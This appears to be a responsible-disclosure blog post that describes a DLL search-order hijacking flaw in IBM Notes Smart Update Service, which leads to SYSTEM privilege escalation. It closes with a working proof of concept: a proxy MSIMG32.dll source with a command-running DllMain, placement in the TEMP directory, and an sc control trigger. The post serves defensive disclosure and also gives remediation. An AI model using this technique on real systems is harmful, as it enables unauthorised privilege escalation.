This is the third blog post in a series documenting various bugs found in installed software during customer engagements. Vulnerabilities will be published, when the vendor has provided fixes, or our deadline for the vendor to take action expires. This process is aligned with the Improsec Responsible Disclosure Policy.
In these blog posts I tend to be a bit verbose and give some insights into the process. Concrete exploitation steps and code is listed at the bottom.
After reporting the first finding IBM Notes Diagnostics to IBM, I wanted to see if the security level of that component was indicative of the security level in the rest of the components in the installation. I noticed another IBM service running as SYSTEM, called ”IBM Notes Smart Update Service”.
Looking at the executable with Ida Pro, I zoomed in on the service ctrl handler function. This function is registered to handle incoming service ctrl codes.
A control code of 136 (0x83+4+1) will result in the function “sub_402D60” being called. Looking at the service permissions showed that the “INTERACTIVE” user would be able to interact with the service via user-defined control codes, allowing me to trigger this function call.
In “sub_402D60” the service simply copies itself to the TEMP directory and executes the copy, probably for when the update service must update its own executable. The problem here is, that though normal users are not allowed to list the contents of TEMP, they can still write files there. By executing a file from an uncontrolled location, the service is exposing itself to DLL Search Order Hijacking.
I started Procmon and sent the relevant control code.
Looking at the output from Procmon, I could see that the process attempted to load the dll MSIMG32.dll from the TEMP folder. So, by placing a malicious dll with this name in this folder, I should be able to coerce the executable to try to load this dll before looking at other locations.
My first attempt at hijacking the dll load order failed. My dll was read, but the code was not executed. Looking at the call stack, I could see that the image was not loaded by a call to LoadModule, but instead as part of the import resolving process for the main executable.
Apparently, when a dll is loaded as part of the import resolving process, the dll entry point is not executed, if the dll does not contain the needed exports.
Adding the exports to the dll (redirecting them to the proper dll) fixed this, and my following attempt was successful, running my code with SYSTEM privileges.
Apply the patch/fix provided by IBM in the related Security Bulletin (see above) and/or disable the "IBM Notes Smart Update Service" service.
1. Compile the following code, and link it statically as MSIMG32.dll:
#define DLLIMPORT __declspec (dllexport)
#pragma comment(linker, "/export:AlphaBlend=C:\Windows\SysWOW64\MSIMG32.AlphaBlend")
#pragma comment(linker, "/export:TransparentBlt=C:\Windows\SysWOW64\MSIMG32.TransparentBlt")
__declspec(dllexport) BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
WinExec("cmd /c whoami > c:\whoami.txt", 0);
2. copy MSIMG32.dll to C:windowstemp
3. At a command prompt: sc control lnsusvc 136